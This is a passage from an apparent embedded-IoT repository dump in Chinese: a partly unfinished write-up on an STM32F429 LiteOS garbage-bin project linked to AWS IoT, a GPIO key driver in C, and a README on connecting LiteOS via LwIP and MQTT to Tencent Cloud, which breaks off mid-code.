ไฝฟ็”จstm32f429ๅผ€ๅ‘ๆฟๆจกๆ‹Ÿๅžƒๅœพๆกถ๏ผŒๅค–ๆŽฅๆฐ”ไฝ“ไผ ๆ„Ÿๅ™จๅ’Œ็บขๅค–ไผ ๆ„Ÿๅ™จใ€‚ๆฐ”ไฝ“ไผ ๆ„Ÿๅ™จๆฃ€ๆต‹ๆ˜ฏๅฆๅ‡บ็Žฐๅผ‚ๅ‘ณ๏ผŒ็บขๅค–ไผ ๆ„Ÿๅ™จๆฃ€ๆต‹ๆ˜ฏๅฆๅทฒๆปกใ€‚ - ไฝฟ็”จ็ฝ‘็บฟ่ฟžๆŽฅstm32f429ๅผ€ๅ‘ๆฟๅˆฐ่ทฏ็”ฑๅ™จไธŠ็ฝ‘ใ€‚ 3ใ€่ฝฏไปถๆ–นๆกˆ ----------- ่ฏฆ็ป†ไป‹็ป่ฝฏไปถๆ–นๆกˆ๏ผŒๅŒ…ๆ‹ฌไฝ†ไธ้™ไบŽ่ฝฏไปถๆ•ดไฝ“ๆžถๆž„๏ผŒๅŠŸ่ƒฝๆจกๅ—ๅˆ’ๅˆ†๏ผŒไธป่ฆๆจกๅ—ๅŠŸ่ƒฝๅˆ†ๆž็ญ‰๏ผˆๅนถ้™„ไธŠ็›ธๅ…ณๅ›พ็คบ๏ผ‰ใ€‚ ่ฏฆ็ป†ไป‹็ปLiteOSไธŽไบ‘ๅนณๅฐๅฏนๆŽฅๅฎž็Žฐ่ฟ‡็จ‹๏ผŒๅŒ…ๆ‹ฌๅ่ฎฎๆ ˆ๏ผŒๅนณๅฐๆŽฅๅฃ็ญ‰๏ผ› *ๅ› ไธบไธๆถ‰ๅŠ็ฝ‘ๅ…ณๅ’Œๆœบๅ™จไบบ๏ผŒ่ฟ™้‡Œๅช่ฎบ่ฟฐstm32f429ๅผ€ๅ‘ๆฟไธŽไบ‘ๅนณๅฐไบคไบ’็š„่ฝฏไปถๆ–นๆกˆใ€‚* - ็งปๆคLWIPๅ่ฎฎๆ ˆ๏ผŒๅฎž็Žฐไปฅๅคช็ฝ‘้€šไฟกใ€‚ - ็งปๆคmbedtlsๅ่ฎฎ๏ผŒๅฎž็Žฐ็ฝ‘็ปœๅŠ ๅฏ†ไธŽ่ฎค่ฏใ€‚ - ็งปๆคaws-iot-device-sdk-embedded-C๏ผŒๅฎž็ŽฐAWS IOT็š„ๅŠŸ่ƒฝๆŽฅๅ…ฅใ€‚ ไธ‰ใ€ๆŽฅๅ…ฅ็ฌฌไธ‰ๆ–นไบ‘ๅนณๅฐ ==================== AWS IOTๆŽฅๅ…ฅๆ–นๆณ•๏ผŒ่ฏฆๆƒ…ๅ‚่€ƒ[AWS IOT developer guide][2] [2]: https://docs.aws.amazon.com/iot/latest/developerguide/iot-sdks.html 1ใ€ไบ‘ๅนณๅฐ่ดฆๅทๆณจๅ†Œ ----------------- ่ฏฆ็ป†ไป‹็ป่ดฆๅท่Žทๅ–่ฟ‡็จ‹๏ผŒๅฏไปฅๆŒ‰ๆญฅ้ชคๆ่ฟฐใ€‚ - ็•ฅ 2ใ€ไบ‘ๅนณๅฐไฝฟ็”จ ----------------- ่ฏทไพๆฎๆ‰€้€‰ๆ‹ฉ็š„ไบ‘ๅนณๅฐ๏ผŒ่ฏฆ็ป†้˜่ฟฐไบงๅ“ๅˆ›ๅปบ่ฟ‡็จ‹ใ€‚ๅ› ไธบไธๅŒ็š„ไบ‘ๅนณๅฐๆŽฅๅ…ฅ่ฟ‡็จ‹ไธ่ƒฝ้€š็”จ๏ผŒๆญคไบงๅ“ๅˆ›ๅปบๅŠๅŽ็ปญ่ฎพๅค‡็ฎก็†็ญ‰ๆต็จ‹๏ผŒ่ฏทๆ นๆฎๅ„ไธๅŒไบ‘ๅนณๅฐ้€‚ๅฝ“่ฐƒๆ•ดใ€‚ AWS IOTไฝฟ็”จๅŒ…ๆ‹ฌไปฅไธ‹ๆญฅ้ชค๏ผš - ๅˆ›ๅปบไบ‹็‰ฉ - ๅˆ›ๅปบๅนถๆฟ€ๆดป่ฏไนฆ๏ผˆไบ‹็‰ฉ่ฏไนฆใ€ไบ‹็‰ฉๅ…ฌ้’ฅใ€ไบ‹็‰ฉๅฏ†้’ฅ๏ผ‰ - ๅˆ›ๅปบAWS IOT็ญ–็•ฅ - ๅฐ†AWS IOT็ญ–็•ฅ้™„ๅŠ ๅˆฐ่ฎพๅค‡่ฏไนฆ - ๅฐ†่ฏไนฆ้™„ๅŠ ๅˆฐไบ‹็‰ฉไธŠ - ๅฐ†ไบ‹็‰ฉ่ฏไนฆๅ’Œๅฏ†้’ฅใ€ๆ น่ฏไนฆ้…็ฝฎๅˆฐ่ฎพๅค‡ไธญ - ๅ‘ๅธƒ/่ฎข้˜…ๆถˆๆฏ ่ฟ™้‡Œๆˆ‘ๅˆ›ๅปบไบ†ๅไธบgarbagecan01็š„ไบ‹็‰ฉ๏ผŒๆญฅ้ชคๅฆ‚ๅ›พ๏ผš ![](http://osjn6k0nm.bkt.clouddn.com/aws%20thing1.JPG) ![](http://osjn6k0nm.bkt.clouddn.com/aws%20thing2.JPG) ![](http://osjn6k0nm.bkt.clouddn.com/aws%20thing3.JPG) ![](http://osjn6k0nm.bkt.clouddn.com/aws%20thing4.JPG) ![](http://osjn6k0nm.bkt.clouddn.com/aws%20thing5.JPG) ![](http://osjn6k0nm.bkt.clouddn.com/aws%20thing6.JPG) ![](http://osjn6k0nm.bkt.clouddn.com/aws%20thing7.JPG) ![](http://osjn6k0nm.bkt.clouddn.com/aws%20thing8.JPG) ๅ››ใ€ๅ…ณ้”ฎๆบไปฃ็ ่งฃๆž ================== ๆœฌๆฌกๆบไปฃ็ ๅ‚่€ƒไบ†ไปฅไธ‹ไปฃ็ ๏ผš - 5-ไปฅๅคช็ฝ‘Lwipไพ‹็จ‹.zip(็ง‰็ซstm32f429ๅผ€ๅ‘ๆฟๆไพ›) - en.x-cube-aws.zip(AWS IoT Core ๅˆๅญฆ่€…ๅทฅๅ…ทๅŒ…:STM32 IoT Discovery ่Š‚็‚น) 1ใ€็จ‹ๅบๆ–‡ไปถไป‹็ป --------------- - arch ไฝ“็ณปๆžถๆž„ - Common mbedtlsๅ’ŒAWS้œ€่ฆไฝฟ็”จ็š„ๅ…ฌๅ…ฑไปฃ็  - driver ๅผ€ๅ‘ๆฟ้ฉฑๅŠจ - third_party/AWS AWS็›ธๅ…ณไปฃ็  - third_party/LWIP lwip2.0.3(ๆš‚ๆœชไฝฟ็”จ) - third_party/lwip-1.4.1 lwip1.4.1็›ธๅ…ณไปฃ็  - third_party/mbedTLS mbedTLS็›ธๅ…ณไปฃ็  2ใ€็จ‹ๅบไธปๅ‡ฝๆ•ฐ่ฏดๆ˜Ž ----------------- - ๅœจไธปๅ‡ฝๆ•ฐไธญๅˆ›ๅปบไปปๅŠก๏ผŒๅฎŒๆˆ็›ธๅ…ณๅŠŸ่ƒฝใ€‚ - void LwIP_DHCP_task(void)ๆ˜ฏLWIP DHCPไปปๅŠกใ€‚ - void cloud_test(void)ๆ˜ฏไบ‘ๅนณๅฐๆต‹่ฏ•ไปปๅŠกใ€‚ 3ใ€ๅ…ณ้”ฎไปฃ็ ่ฏดๆ˜Ž --------------- 1. LWIP็งปๆค - ๆœฌๆฌก้กน็›ฎ็งปๆคLWIP็‰ˆๆœฌไธบ1.4.1ใ€‚ - ๅ‚่€ƒใ€Š5-ไปฅๅคช็ฝ‘Lwipไพ‹็จ‹.zipใ€‹ไธญ็š„ใ€Šไปฅๅคช็ฝ‘โ€”ๅŸบไบŽuCOS-III็š„LwIP็งปๆค๏ผˆDHCP๏ผ‰ใ€‹ไปฃ็ ใ€‚ - ไธป่ฆไฟฎๆ”นsys_arch.cๆ–‡ไปถ๏ผŒๅ…ถไธญไฟกๅท้‡ใ€ๆถˆๆฏ้˜Ÿๅˆ—ใ€ๅˆ›ๅปบๆ–ฐ็บฟ็จ‹ใ€ไธญๆ–ญไฟๆŠค็›ธๅ…ณๅ‡ฝๆ•ฐ้œ€่ฆ็”จliteos็š„APIๅ‡ฝๆ•ฐๅฎž็Žฐใ€‚ - ethernetif.cไธญ็š„Ethernetif_inputๅ‡ฝๆ•ฐๅ’Œnetconf.cไธญ็š„LWIP_DHCP_taskๅ‡ฝๆ•ฐไธญๆถ‰ๅŠ็š„ๅปถๆ—ถๅ‡ฝๆ•ฐ่ฆ็”จliteos็›ธๅ…ณๅปถๆ—ถๅ‡ฝๆ•ฐๅฎž็Žฐใ€‚ - ๆณจๆ„ๅ„ไธชไปปๅŠก็š„ไผ˜ๅ…ˆ็บงใ€‚ 2. mbedtlsไธŽAWS็งปๆค - setRTCTimeDateFromNetworkๅ‡ฝๆ•ฐๅฎž็ŽฐไปŽ็ฝ‘็ปœไธญ่Žทๅ–ๅฎžๆ—ถๆ—ถ้—ดใ€‚ - ๅฎšไน‰USE_MBED_TLSๅฎ๏ผŒ้œ€่ฆๅผ•ๅ…ฅCA certใ€‚ - ็›ฎๅ‰่ฏฅๅ‡ฝๆ•ฐๅ‡บ้”™๏ผŒๅ‡บ็Žฐhardfault้”™่ฏฏ๏ผŒๅฐšๆœช่งฃๅ†ณใ€‚ - AWS็งปๆค๏ผŒ้œ€่ฆๆ นๆฎไธ‹่ฝฝ็š„่ฏไนฆๅฏ†้’ฅไปฅๅŠๆ น่ฏไนฆๅš็›ธๅ…ณ้…็ฝฎใ€‚้…็ฝฎๅ†…ๅฎนๅŒ…ๆ‹ฌ๏ผš - ๆœๅŠกๅ™จๅœฐๅ€ - ๆ น่ฏไนฆ - ไบ‹็‰ฉ่ฏไนฆ - ไบ‹็‰ฉๅฏ†้’ฅ - ไบ‹็‰ฉๅ็งฐ - ไบ‹็‰ฉID 4ใ€ไธŠไผ ๆ•ฐๆฎไปฃ็ ่ฏฆ่งฃ ------------------- - ๅพ…ๅฎŒๆˆ 3ใ€ไธ‹ๅ‘ๅ‘ฝไปคไปฃ็ ่ฏฆ่งฃ ------------------- - ๅพ…ๅฎŒๆˆ ไบ”ใ€ไบงๅ“่ฐƒ่ฏ• ============ 1ใ€็กฌไปถ่ฐƒ่ฏ• ----------- ่ฏท่พ…ๅŠฉ็…ง็‰‡ใ€ๅ›พ่กจๅŠ่ง†้ข‘็ญ‰ๅ†…ๅฎน๏ผŒ่ฏฆ็ป†ไป‹็ปๆŽฅ็บฟใ€็กฌไปถ่ฐƒ่ฏ•๏ผŒ่ƒฝๆธ…ๆ™ฐ็š„็œ‹ๅˆฐๆ•ดไธช่ฐƒ่ฏ•่ฟ‡็จ‹ใ€‚ - stm32f429ๅผ€ๅ‘ๆฟ่ฟžๆŽฅ็ฝ‘็บฟๅˆฐ่ทฏ็”ฑๅ™จใ€‚ 2ใ€่ฝฏไปถ่ฐƒ่ฏ• ----------- ๏ผˆ1๏ผ‰่ฐƒ่ฏ•่ฟ‡็จ‹็ปผ่ฟฐใ€‚ - ไธ‹่ฝฝๅนถ็ƒงๅ†™็จ‹ๅบๅˆฐๅผ€ๅ‘ๆฟใ€‚ - ่ฟ่กŒ็จ‹ๅบ๏ผŒๆ‰“ๅผ€่ฐƒ่ฏ•ไธฒๅฃ๏ผŒ115200-8-N-1๏ผŒ่ง‚ๅฏŸ็Žฐ่ฑกใ€‚ - โ€ฆโ€ฆ ๏ผˆ2๏ผ‰ไธŠๆŠฅๆ•ฐๆฎ่ฐƒ่ฏ•่ฟ‡็จ‹ใ€‚ - ๅพ…ๅฎŒๆˆ ๏ผˆ3๏ผ‰ไธ‹ๅ‘ๅ‘ฝไปค่ฐƒ่ฏ•่ฟ‡็จ‹ใ€‚ *่ฏท่พ…ๅŠฉ็…ง็‰‡ใ€ๅ›พ่กจๅŠ่ง†้ข‘็ญ‰ๅ†…ๅฎนใ€‚* - ๅพ…ๅฎŒๆˆ ๅ…ญใ€็ฌฌไธ‰ๆ–นไบ‘ๅนณๅฐ่ƒฝๅŠ›ๅฑ•็คบ ======================== 1ใ€ไบ‘ๅนณๅฐAPIไฝฟ็”จ่ฏดๆ˜Ž -------------------- ่ฏฆ็ป†่ฏดๆ˜ŽๅนณๅฐAPIไฝฟ็”จๆƒ…ๅ†ตใ€‚ - ๅพ…ๅฎŒๆˆ 2ใ€ๅนณๅฐ่ƒฝๅŠ›ๅฑ•็คบ --------------- ่ฏท็ป“ๅˆๆœฌ้กน็›ฎ็š„่กŒไธšๅฑžๆ€ง๏ผŒๅฑ•็คบ็ฌฌไธ‰ๆ–นไบ‘ๅนณๅฐๆไพ›็š„่ƒฝๅŠ›ใ€‚ไพ‹ๅฆ‚่ถ‹ๅŠฟ้ข„ๆต‹ใ€ไบ‘้€š่ฎฏใ€ๅคงๆ•ฐๆฎๅˆ†ๆžใ€่ฎพๅค‡ๅ…จ็”Ÿๅ‘ฝๅ‘จๆœŸ็ฎก็†ใ€ไบ‘ๆ•ฐๆฎๅบ“ไฝฟ็”จใ€่ฟœ็จ‹ๅ‡็บงๅŠŸ่ƒฝใ€GISๅฑ•็คบ็ญ‰๏ผˆๆ นๆฎไบ‘ๅนณๅฐๆไพ›็š„่ƒฝๅŠ›๏ผ‰ใ€‚ - ๅพ…ๅฎŒๆˆ 3ใ€WEBๆˆ–็งปๅŠจAPPๅฑ•็คบ ------------------- ่‹ฅๆœ‰WEBๆˆ–APP็งปๅŠจ็ซฏ๏ผŒ่ฏทๅฑ•็คบ็›ธๅ…ณ่ƒฝๅŠ›ใ€‚ - ๅพ…ๅฎŒๆˆ ``` los_bsp_key.c ```#include "stm32f4xx.h" #include "stm32f4xx_rcc.h" #include "stm32f4xx_gpio.h" #include "los_bsp_key.h" //ๅฎšไน‰ไธคไธชๆŒ‰้”ฎ็š„ๅผ•่„š #define KEY1_PIN GPIO_Pin_0 #define KEY1_GPIO_PORT GPIOA #define KEY1_GPIO_CLK RCC_AHB1Periph_GPIOA void LOS_EvbKeyInit(void) { GPIO_InitTypeDef GPIO_InitStructure; /*ๅผ€ๅฏๆŒ‰้”ฎGPIOๅฃ็š„ๆ—ถ้’Ÿ*/ RCC_AHB1PeriphClockCmd(KEY1_GPIO_CLK,ENABLE); /*้€‰ๆ‹ฉๆŒ‰้”ฎ็š„ๅผ•่„š*/ GPIO_InitStructure.GPIO_Pin = KEY1_PIN; /*่ฎพ็ฝฎๅผ•่„šไธบ่พ“ๅ…ฅๆจกๅผ*/ GPIO_InitStructure.GPIO_Mode = GPIO_Mode_IN; /*่ฎพ็ฝฎๅผ•่„šไธไธŠๆ‹‰ไนŸไธไธ‹ๆ‹‰*/ GPIO_InitStructure.GPIO_PuPd = GPIO_PuPd_NOPULL; /* ่ฎพ็ฝฎๅผ•่„š้€Ÿๅบฆ */ GPIO_InitStructure.GPIO_Speed= GPIO_Speed_2MHz; /*ไฝฟ็”จไธŠ้ข็š„็ป“ๆž„ไฝ“ๅˆๅง‹ๅŒ–ๆŒ‰้”ฎ*/ GPIO_Init(KEY1_GPIO_PORT, &GPIO_InitStructure); return; } /***************************************************************************** Function : LOS_EvbGetKeyVal Description : Get GIOP Key value Input : int KeyNum Output : None Return : KeyVal *****************************************************************************/ unsigned int LOS_EvbGetKeyVal(int KeyNum) { unsigned int KeyVal = LOS_GPIO_ERR; if(GPIO_ReadInputDataBit(KEY1_GPIO_PORT,KEY1_PIN)==1) KeyVal = LOS_KEY_PRESS; //add you code here. return KeyVal; } ``` README.md ```# ไธ€ใ€่ƒŒๆ™ฏๅ’Œไป‹็ป ## 1ใ€ๅ…ฌๅธ/ๅ›ข้˜Ÿไป‹็ป [ๆดชไธš](https://github.com/ianhom)๏ผŒๅตŒๅ…ฅๅผๆ“ไฝœ็ณป็ปŸ็ˆฑๅฅฝ่€…๏ผŒๅฐๅž‹ๆ“ไฝœ็ณป็ปŸ[MOE](https://github.com/ianhom/MOE)ไฝœ่€…;็ƒญ็ˆฑ็‰ฉ่”็ฝ‘๏ผŒๅฏน่„šๆœฌ่ฏญ่จ€ๅœจๅตŒๅ…ฅๅผๅผ€ๅ‘ไธญ็š„ๅบ”็”จๆœ‰ๆต“ๅŽš็š„ๅ…ด่ถฃใ€‚ ## 2ใ€้กน็›ฎไป‹็ป ย  ย  - ๅตŒๅ…ฅๅผ็ปˆ็ซฏ้€š่ฟ‡**LiteOS**่ฟžๆŽฅๅˆฐ**่…พ่ฎฏไบ‘็‰ฉ่”็ฝ‘ๅนณๅฐ**,ๅฎž็ŽฐๅŸบ็ก€็š„่ฟžๆŽฅๅ’Œๆ•ฐๆฎไผ ่พ“ใ€‚ ย  ย  # ไบŒใ€้กน็›ฎๅ†…ๅฎน ## 1ใ€ๆ–นๆกˆ่ฏดๆ˜Ž - ่…พ่ฎฏไบ‘ๅนณๅฐๆไพ›ไบ†ไธฐๅฏŒ็š„ไบ‘ไบงๅ“๏ผŒๅ…ถไธญๅŒ…ๆ‹ฌไบ†IoTๆ–นๅ‘็š„โ€œ็‰ฉ่”็ฝ‘้€šไฟกโ€ๆจกๅ—๏ผŒ้€š่ฟ‡่ฏฅๆจกๅ—๏ผŒ็ปˆ็ซฏ่ฎพๅค‡ๅฏไปฅ้€š่ฟ‡MQTTๆˆ–CoAPๆŽฅๅ…ฅ่…พ่ฎฏ็‰ฉ่”็ฝ‘ๅนณๅฐ๏ผŒๅฎž็Žฐ่ฎพๅค‡็š„็ฎก็†ๅ’Œๆ•ฐๆฎ็š„ไบคไบ’ใ€‚ - ๅŸบไบŽSTM32F429ๅนณๅฐ๏ผŒ้€š่ฟ‡LiteOS + LwIP + MQTT่ฟžๆŽฅๅˆฐ[่…พ่ฎฏไบ‘็‰ฉ่”็ฝ‘ๅนณๅฐ](https://cloud.tencent.com/product/iothub)ใ€‚STM32F429ๅนณๅฐๆ‰€้‡‡้›†็š„ๆ•ฐๆฎ้€š่ฟ‡ๆœ‰็บฟEthernet+LwIP+MQTTไผ ๅˆฐไบ‘็ซฏ๏ผŒๅฎž็Žฐไบ‘็ซฏๅนณๅฐๆ•ฐๆฎๅฑ•็คบใ€‚ ## 2ใ€็กฌไปถๆ–นๆกˆ - [้‡Ž็ซSTM32F429ๆŒ‘ๆˆ˜่€…ๅผ€ๅ‘ๆฟ](https://item.taobao.com/item.htm?spm=a1z10.5-c.w4002-10310241588.32.31936ab2hZzHfP&id=545418358219) - ARM Cortex-M4, 180MHz, 256kB RAM, 1MB Flash - ๆฟ่ฝฝETH/WiFi ## 3ใ€่ฝฏไปถๆ–นๆกˆ - [LiteOS](https://github.com/LiteOS/LiteOS) - [LwIP + MQTT](http://savannah.nongnu.org/projects/lwip/) # ไธ‰ใ€ๆŽฅๅ…ฅ็ฌฌไธ‰ๆ–นไบ‘ๅนณๅฐ - ่…พ่ฎฏไบ‘ไธญ็‰ฉ่”็ฝ‘็›ธๅ…ณ็š„ไบ‘ไบงๅ“ๆ˜ฏโ€œ็‰ฉ่”็ฝ‘้€šไฟกโ€๏ผŒๅฏไปฅ้€š่ฟ‡่ฏฅๅนณๅฐๅปบ็ซ‹ใ€็ฎก็†่ฎพๅค‡ๅœจ็บฟ็Šถๆ€๏ผŒๆ•ฐๆฎ็š„ไธŠไผ ๅ’Œไธ‹ๅ‘๏ผŒ้€š่ฟ‡ๆถˆๆฏ้˜Ÿๅˆ—็ญ‰ๅ…ถๅฎƒ่…พ่ฎฏไบ‘ไบงๅ“APIๅฏไปฅๅฎž็Žฐ็‰ฉ่”็ฝ‘ๆ•ฐๆฎ็š„ๅ‚จๅญ˜ใ€ๅค„็†ใ€ๅˆ†ๆžๅŠๅฑ•็คบ็ญ‰ใ€‚ ## 1ใ€ ๅˆ›ๅปบๆ–ฐไบงๅ“ - ็™ปๅฝ•[่…พ่ฎฏไบ‘ๅนณๅฐๅฎ˜็ฝ‘](https://cloud.tencent.com/)๏ผŒๆณจๅ†Œ/็™ปๅฝ•่ดฆๅท๏ผŒ่ฟ›ๅ…ฅๆŽงๅˆถๅฐ๏ผŒๅฆ‚ๅ›พๆ‰€็คบ๏ผŒๅœจไบ‘ไบงๅ“ไธญ้€‰ๆ‹ฉโ€œ**็‰ฉ่”็ฝ‘้€šไฟก**โ€ - ![ๅˆ›ๅปบๆ–ฐไบงๅ“](https://github.com/ianhom/LiteOS_Connect_to_3rd_Cloud/blob/master/liteos_to_tencentcloud/liteos_tencentcloud_basic/pic/add_pro.png?raw=true) - ็‚นๅ‡ป**ๅˆ›ๅปบไบงๅ“** - ้€‰ๆ‹ฉๆœๅŠกๅ™จ**ๆ‰€ๅฑžๅœฐๅŒบ**๏ผŒๅฝ“ๅ‰ๅชๆœ‰ๅนฟๅทžๅฏ้€‰ใ€‚ - ่พ“ๅ…ฅ**ไบงๅ“ๅ็งฐ**๏ผŒ่ฏฅๅ็งฐๆ˜ฏไธ€็ฑปไบงๅ“็š„ๅฎšไน‰๏ผŒไพ‹ๅฆ‚โ€œLiteOS_Temperature_Sensorโ€ - ้€‰ๆ‹ฉ**่ฎค่ฏๆ–นๅผ**๏ผŒๆœฌไพ‹้‡‡็”จ**ๅฏ†้’ฅ่ฎค่ฏ** - ๅฏ้€‰ๅกซๅ…ฅ**ไบงๅ“ๆ่ฟฐ** - ็‚นๅ‡ป**ๅˆ›ๅปบ**ๅณๅฏๅฎŒๆˆๆ–ฐไบงๅ“ๅปบ็ซ‹๏ผŒๆญคๆ—ถๅฐ†่Žทๅพ—**productID**๏ผŒ่ฏฅIDๆ˜ฏ็ปˆ็ซฏ้€š่ฟ‡MQTT่ฎฟ้—ฎไบ‘็ซฏ็š„้‡่ฆๅ‡ญ่ฏไน‹ไธ€ใ€‚ - ![ๅˆ›ๅปบๆ–ฐไบงๅ“](https://github.com/ianhom/LiteOS_Connect_to_3rd_Cloud/blob/master/liteos_to_tencentcloud/liteos_tencentcloud_basic/pic/productID.png?raw=true) ## 2ใ€ ๅˆ›ๅปบๆ–ฐ่ฎพๅค‡ - ไธŠ่ฟฐ็š„ๆ–ฐไบงๅ“ๆ˜ฏๅˆ›ๅปบไธ€ไธชไบงๅ“็ฑปๅˆซ๏ผŒๅœจ่ฏฅ็ฑปๅˆซไธ‹้œ€่ฆๅˆ›ๅปบๅ…ทไฝ“็š„่ฎพๅค‡ - ![ๅˆ›ๅปบๆ–ฐไบงๅ“](https://github.com/ianhom/LiteOS_Connect_to_3rd_Cloud/blob/master/liteos_to_tencentcloud/liteos_tencentcloud_basic/pic/add_dev.png?raw=true) - ![ๅˆ›ๅปบๆ–ฐไบงๅ“](https://github.com/ianhom/LiteOS_Connect_to_3rd_Cloud/blob/master/liteos_to_tencentcloud/liteos_tencentcloud_basic/pic/add_dev2.png?raw=true) - ![ๅˆ›ๅปบๆ–ฐไบงๅ“](https://github.com/ianhom/LiteOS_Connect_to_3rd_Cloud/blob/master/liteos_to_tencentcloud/liteos_tencentcloud_basic/pic/add_dev3.png?raw=true) - ![ๅˆ›ๅปบๆ–ฐไบงๅ“](https://github.com/ianhom/LiteOS_Connect_to_3rd_Cloud/blob/master/liteos_to_tencentcloud/liteos_tencentcloud_basic/pic/add_dev4.png?raw=true) - ๅฆ‚ไธŠๅ›พๆ‰€็คบๅฎŒๆˆ่ฎพๅค‡็š„ๆทปๅŠ ๏ผŒๆญคๆ—ถ้œ€่ฎฐๅฝ•ไธŠ**่ฎพๅค‡ๅ็งฐ**๏ผŒ่ฏฅๅ็งฐไนŸๆ˜ฏ็ปˆ็ซฏ้€š่ฟ‡MQTT่ฎฟ้—ฎไบ‘็ซฏ็š„้‡่ฆๅ‡ญ่ฏไน‹ไธ€๏ผ›ๅŒๆ—ถ่ฟ˜้œ€่ฆ่ฎฐๅฝ•ไบงๅ“**่ฎพๅค‡ๅฏ†้’ฅ**ใ€‚ ## 3ใ€ ๅˆ›ๅปบๆถˆๆฏ้˜Ÿๅˆ— - ๆŽฅไธ‹ๆฅ้œ€่ฆไธบ่ฏฅ็ฑปไบงๅ“ๅˆ›ๅปบไธ€ไธชๆถˆๆฏ้˜Ÿๅˆ—๏ผŒ็”จๆˆทๆ•ฐๆฎ็š„ไบคไบ’๏ผŒๅฆ‚ๅ›พๆ‰€็คบ๏ผŒ้€‰ๆ‹ฉ**่ฎพๅค‡ไธŠๆŠฅๆถˆๆฏ**๏ผŒ**่ฎพๅค‡็Šถๆ€ๅ˜ๅŒ–้€š็Ÿฅ**๏ผŒ็„ถๅŽ็‚นๅ‡ปไฟๅญ˜ใ€‚ - ![ๅˆ›ๅปบๆ–ฐไบงๅ“](https://github.com/ianhom/LiteOS_Connect_to_3rd_Cloud/blob/master/liteos_to_tencentcloud/liteos_tencentcloud_basic/pic/MQ.png?raw=true) - ![ๅˆ›ๅปบๆ–ฐไบงๅ“](https://github.com/ianhom/LiteOS_Connect_to_3rd_Cloud/blob/master/liteos_to_tencentcloud/liteos_tencentcloud_basic/pic/MQ_rev.png?raw=true) - ๅฎŒๆˆๆถˆๆฏ้˜Ÿๅˆ—็š„ๅˆ›ๅปบๅŽ๏ผŒๅณๅฏๅœจไบ‘ไบงๅ“ไธญ็š„**ๆถˆๆฏ้˜Ÿๅˆ—CMQ**ไธญๆŸฅ็œ‹็ปˆ็ซฏไธŠไผ ็š„ๆถˆๆฏใ€‚ ## 4ใ€ ็ปˆ็ซฏ่ฎพๅค‡็š„้…็ฝฎ - ๅœจ็ปˆ็ซฏๅนณๅฐไธŠๅฎŒๆˆLiteOS+LwIP+MQTT็š„็งปๆคใ€‚ - ่…พ่ฎฏไบ‘ๅนณๅฐ้€š่ฟ‡[MQTT](http://mqtt.org/)ๆŽฅๅ…ฅ๏ผŒๆ‰€ไปฅ่ฟ™้‡Œ้œ€่ฆๅœจ็กฌไปถ็ปˆ็ซฏไธŠๅฎž็ŽฐMQTT Client๏ผŒๅ…ทไฝ“้…็ฝฎๅ‚ๆ•ฐๅฆ‚ไธ‹๏ผš ย  - **MQTTๆœๅŠกๅ™จๅœฐๅ€**๏ผš**iotcloud-mqtt.gz.tencentdevices.com**ๆˆ–**111.230.189.156**๏ผŒ็ซฏๅฃๅทไธบ**1883**ใ€‚ ย  ย  ย  ย  - **ClientID**๏ผšproductID + ่ฎพๅค‡ๅ็งฐ๏ผŒไพ‹ๅฆ‚๏ผšDXJQTLK47XSensor1 - **User Name**๏ผšClientID + app ID + connect ID + timestamp๏ผŒไพ‹ๅฆ‚๏ผšDXJQTLK47XSensor1;21010406;12365;1526229718 - **Password**๏ผšdecode(User Name + ่ฎพๅค‡ๅฏ†้’ฅ)+";hmacsha1",ไพ‹ๅฆ‚๏ผšb21b6c729215d2baa934878812d8947e15202618;hmacsha1 - **Publish topic**๏ผšproducID/่ฎพๅค‡ๅ็งฐ/event๏ผŒไพ‹ๅฆ‚๏ผšDXJQTLK47X/Sensor1/event - **Subscribe topic**๏ผšproducID/่ฎพๅค‡ๅ็งฐ/control๏ผŒไพ‹ๅฆ‚๏ผšDXJQTLK47X/Sensor1/control - ![ๅˆ›ๅปบๆ–ฐไบงๅ“](https://github.com/ianhom/LiteOS_Connect_to_3rd_Cloud/blob/master/liteos_to_tencentcloud/liteos_tencentcloud_basic/pic/code.png?raw=true) - **ๆณจๆ„ไธŠ่ฟฐUser Nameๅ’ŒPasswordๅฏ้€š่ฟ‡[Pythonๅทฅๅ…ท](https://github.com/ianhom/LiteOS_Connect_to_3rd_Cloud/blob/master/liteos_to_tencentcloud/liteos_tencentcloud_basic/tool/UsrName_Psk.py)่‡ชๅŠจ็”Ÿๆˆ**ใ€‚ - ![ๅˆ›ๅปบๆ–ฐไบงๅ“](https://github.com/ianhom/LiteOS_Connect_to_3rd_Cloud/blob/master/liteos_to_tencentcloud/liteos_tencentcloud_basic/pic/tool.png?raw=true) # ๅ››ใ€ ๅ…ณ้”ฎๆบ็ ่งฃๆž ## 1ใ€็จ‹ๅบๆ–‡ไปถไป‹็ป - LiteOSๅ†…ๆ ธๆบ็ ๏ผš่ดŸ่ดฃOS่ฟ่กŒ๏ผŒๆไพ›ๅ†…ๆ ธๆœๅŠกๅ’Œ็กฌไปถ้ฉฑๅŠจ - LwIPๆบ็ ๏ผš่ดŸ่ดฃๅฎž็ŽฐTCP/IP้€šไฟก - MQTTๆบ็ ๏ผš่ดŸ่ดฃๅฎž็ŽฐMQTTๅฎขๆˆท็ซฏ - Usr_Cfg.h๏ผš็”จไปฅ้…็ฝฎMQTTๅฎขๆˆท็ซฏ็›ธๅ…ณๅ‚ๆ•ฐ ## 2ใ€็จ‹ๅบไธปๅ‡ฝๆ•ฐ่ฏดๆ˜Ž ```c int main(void) { UINT32 uwRet; /*Init LiteOS kernel */ uwRet = LOS_KernelInit(); if (uwRet != LOS_OK) { return LOS_NOK; } /* Enable LiteOS system tick interrupt */ LOS_EnableTick(); /* Init Key,LED,Uart,Eth,TCP/IP and start the MQTT client task */ LOS_EvbSetup(); printf("this is LiteOS lwip port \r\n"); /* Kernel start to run */ LOS_Start(); for (;;); /* Replace the dots (...) with your own code. */ ``` - ๅˆๅง‹ๅŒ–LiteOSๅ†…ๆ ธไน‹ๅŽ๏ผŒๅณๅผ€ๅง‹ๅˆๅง‹ๅŒ–็กฌไปถkey๏ผŒled๏ผŒuartๅŠEth๏ผŒ็„ถๅŽๅณๅฏๅŠจMQTTๅฎขๆˆท็ซฏไปปๅŠกใ€‚ ## 3ใ€ๅ…ณ้”ฎไปฃ็ ่ฏดๆ˜Ž ```c void example_do_connect(mqtt_client_t *client) { struct mqtt_connect_client_info_t ci; err_t err; /* Setup an empty client info structure */ memset(&ci, 0, sizeof(ci)); /* Client ID, user name, password */ ci.client_id = LOS_IOT_CLIENT_ID; ci.client_user = LOS_IOT_USR_NAME; ci.client_pass = LOS_IOT_PASSWORD; ci.keep_alive = 60; /* MQTT server IP address */ IP4_ADDR(&mqttServerIpAddr, 111,230,189,156); err = 